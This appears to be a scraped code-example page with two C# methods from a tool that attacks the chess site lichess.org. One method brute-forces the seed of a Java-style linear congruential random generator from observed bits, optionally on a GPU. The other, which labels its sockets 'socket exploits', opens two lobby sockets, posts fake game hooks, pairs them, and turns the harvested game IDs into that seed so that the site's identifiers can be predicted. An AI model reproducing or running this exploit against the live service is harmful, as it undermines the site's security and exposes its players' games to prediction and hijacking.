Example #1
0
        public long CrackGpu(int[] sequence)
        {
            if (sequence.Length != 16)
            {
                return(-1);
            }

            List <long> lows  = new List <long>();
            long        bit17 = sequence[0] & 1;

            for (long low = 0; low < (1L << 17); low++)
            {
                long seed   = (bit17 << 17) | low;
                bool isSeed = true;
                for (int n = 0; n < sequence.Length; n++)
                {
                    seed = (seed * multiplier + increment) & mask;
                    if (((seed >> 17) & 1) != (sequence[n] & 1))
                    {
                        isSeed = false;
                        break;
                    }
                }

                if (isSeed)
                {
                    lows.Add(low);
                }
            }

            for (int i = 0; i < lows.Count; i++)
            {
                long seedArray = Gpu.CrackHigh(sequence, lows[i]);
                if (seedArray != 0)
                {
                    return(seedArray);
                }
            }

            return(-1);
        }
Example #2
0
        internal static long CrackSeed(bool preferGpu)
        {
            Cracker cracker = new Cracker(0x5DEECE66DL, 0xBL);
            Dictionary <string, string> seekData = new Dictionary <string, string>();

            seekData.Add("variant", "1");
            seekData.Add("timeMode", "1");
            seekData.Add("time", "1");
            seekData.Add("increment", "0");
            seekData.Add("days", "1");
            seekData.Add("mode", "0");
            seekData.Add("color", "white");

            StrongSocket player1 = new StrongSocket("/lobby/socket/v1", 0, null);
            StrongSocket player2 = new StrongSocket("/lobby/socket/v1", 0, null);

            Console.WriteLine("Created socket exploits.");

            Console.Write("Connecting sockets...");
            Task <bool> con1 = player1.Connect();
            Task <bool> con2 = player2.Connect();

            Task.WaitAll(con1, con2);
            Console.WriteLine("Done.");

            Console.Write("Checking Gpu Capabilities...");
            bool useGpu = Gpu.Init() && preferGpu;

            Console.WriteLine("Done.");
            Stopwatch sw   = Stopwatch.StartNew();
            long      seed = -1;
            int       pass = 1;

            do
            {
                Console.Write("[Pass {0}] Posting fake hook...", pass);
                string query = Http.ToQuery(seekData);

                CookieCollection anonCookies = new CookieCollection();
                HttpWebResponse  result      = Http.Post(string.Format("http://{0}.lichess.org/setup/hook/{1}", CultureInfo.CurrentCulture.TwoLetterISOLanguageName, player1.Sri), query, Http.Accept.None, anonCookies);
                if (result == null)
                {
                    Console.WriteLine("Fail.");
                    Console.WriteLine("Lichess routes have changed.");
                    break;
                }

                Console.WriteLine("Done");
                Task <bool> join;
                byte[]      buf = new byte[8192];
                using (GZipStream rdr = new GZipStream(result.GetResponseStream(), CompressionMode.Decompress))
                {
                    int     len  = rdr.Read(buf, 0, buf.Length);
                    string  res  = Encoding.ASCII.GetString(buf, 0, len);
                    JObject json = (JObject)JsonConvert.DeserializeObject(res);

                    string hookId = json["hook"]["id"].ToString();
                    join = player2.Send("join", hookId);
                }

                result.Dispose();
                result = null;

                Console.Write("[Pass {0}] Waiting for pairing...", pass);
                StrongSocket.Event e1 = player1.Listen("redirect");
                StrongSocket.Event e2 = player2.Listen("redirect");

                JObject j1 = player1.On(e1);
                JObject j2 = player2.On(e2);
                player2.Send("abort").Wait();
                Console.WriteLine("Done.");

                if (j1 == null || j2 == null)
                {
                    Console.WriteLine("Failed.");
                    break;
                }

                string white    = j1["d"]["id"].Value <string>();
                string black    = j2["d"]["id"].Value <string>();
                string target   = string.Format("{0}{1}{2}", white.Substring(8), black.Substring(8), white.Substring(0, 8));
                int[]  sequence = Cracker.ConvertAlphanumeric(target);
                if (useGpu)
                {
                    Console.Write("[Pass {0}] Cracking sequence using GPU...", pass);
                    seed = cracker.CrackGpu(sequence);
                    Console.WriteLine("Done.", pass);
                }
                else
                {
                    Console.Write("[Pass {0}] Cracking sequence using CPU...", pass);
                    seed = cracker.CrackCpu(sequence, 16);
                    Console.WriteLine("Done.", pass);
                }

                Console.WriteLine("[Pass {0}] Finished pass.", pass);
                pass++;
            }while (seed == -1);
            sw.Stop();

            if (seed != -1)
            {
                Console.WriteLine("Seed -> {0}", seed);
            }

            Console.Write("Diposing resources...");
            Gpu.Dispose();

            player1.Dispose();
            player2.Dispose();
            Console.WriteLine("Done.");
            return(seed);
        }